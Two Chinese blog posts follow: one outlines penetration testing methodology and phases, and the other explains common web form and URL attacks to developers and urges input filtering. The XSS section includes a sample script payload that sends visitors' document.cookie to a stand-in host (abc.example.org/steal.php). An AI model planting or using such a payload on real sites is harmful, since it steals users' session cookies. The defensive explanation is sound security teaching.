渗透测试 (penetration testing)

作者:Lightning@小宝 发布时间:October 23, 2009 分类:网络安全防护

1 定义

    渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。

    我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。

2 渗透测试是安全评估的方法之一

    安全评估通常包括工具评估、人工评估、顾问访谈、问卷调查、应用评估、管理评估、网络架构评估、渗透测试等

渗透测试与其他评估方法的区别:通常评估方法是根据已知信息资产或其他被评估对象,去发现所有相关的安全问题。渗透测试是根据已知可利用的安全漏洞,去发现是否存在相应的信息资产,通常评估方法对评估结果更具有全面性,渗透测试则更注重安全漏洞的严重性。

    渗透测试一方面可以从攻击者的角度,检验业务系统的安全防护措施是否有效,各项安全策略是否得到贯彻落实;另一方面可以将潜在的安全风险以真实事件的方式凸现出来,从而有助于提高相关人员对安全问题的认识水平。渗透测试结束后,立即进行安全加固,解决测试发现的安全问题,从而有效地防止真实安全事件的发生。

3 凸现最严重的安全问题

    安全评估通常会发现许多安全问题,而通过渗透测试这种“真实的”黑客事件,能从中找出最急需解决的部分

4 白盒子(White Box)

已经获取了尽可能多的各种信息
通常包括从组织外部和从组织内部两种地点进行渗透测试
黑盒子(Black Box)
除了被测试目标的已知公开信息外,不提供任何其他信息
通常只从组织的外部进行渗透测试
灰盒子(Gray Box)
介于以上两者之间

5 信息收集、分析

制订渗透方案并实施
前段信息汇总、分析
提升权限、内部渗透
渗透结果总结
输出渗透测试报告
提出安全解决建议

6 客户提供

该部分主要来源于客户所提供的一些实际网络结构,安全等级制度等一系列的已有安全体制。
工具扫描
该部分主要利用一系列现有的安全产品或黑客工具对目标网络进行全方位的安全扫描,其中包括服务,端口等其他,使用的工具包括:Nessus Scanner、Nmap、SnmpScanner等。
智能判断
利用工程师积累的渗透测试以及其他安全经验,对目标主机进行信息收集和分析。
本地扫描
为了能更好的渗透其网络的安全性,在客户允许的范围内对本地进行实地扫描。通过短时间的模拟攻击扫描结合客户提供的详细情况,迅速寻找出目标网络中的薄弱环节,保证了制定的渗透测试方案的整体效率。
建立信息池
汇总以上各方面的信息,建立信息池

7 渗透方案制订考虑因素

网络规模
业务组成
网络分布
其他因素
渗透方案内容
目标、范围
计划
流程
风险规避
保密

8 验证信息池内容

试探、获取权限
根据具体信息相应实施过程调整

9 信息综合、汇总

分析、归类、筛选、整理
信息池更新
确定渗透实施重点
制定下一步实施方案

10 纵向权限提升

读权限提升为写权限
应用系统权限提升为操作系统权限
普通用户权限提升为管理员权限
横向权限提升
通过本地权限获取远程主机权限
获取本地局域网、设备等访问权限
获取远程网络、设备的访问权限
递归操作
在需要的情况下,从第一阶段重新进行

11 渗透成果汇总

重大安全问题及时告知客户
成功、失败的经验总结
清除渗透过程中间文件

12 渗透测试成果汇报、交流

渗透过程
渗透深度(纵向、横向)
渗透结果
正式渗透测试报告
综合方案、过程、成果汇报
保密
文挡移交、销毁
信息池移交、销毁
渗透成果保密

13 备份系统

紧急响应小组
禁止高危操作
操作过程记录
中间文件处理
“收尾”工作处理

14 扫描

工具扫描:漏洞、端口、帐户穷举
人工试探:系统版本、应用服务信息、网络信息
本地权限
口令猜测
远程漏洞、应用漏洞
……
权限提升
本地溢出、进程注入
事件触发
……
关联攻击
网络嗅探、会话劫持、中间人攻击

常见表单及URL攻击的几种方法

作者:Lightning@小宝 发布时间:July 31, 2009 分类:网络安全防护

有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。

1)表单数据泄漏攻击

这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:)

2)语义URL攻击

这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据

3)文件上传攻击

文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。

4)跨站脚本攻击

跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。

所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。

比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。

5)HTTP请求欺骗攻击

所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。

毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已 :)
转自崔玉松

  1. 页码:
  2. 1
我要报警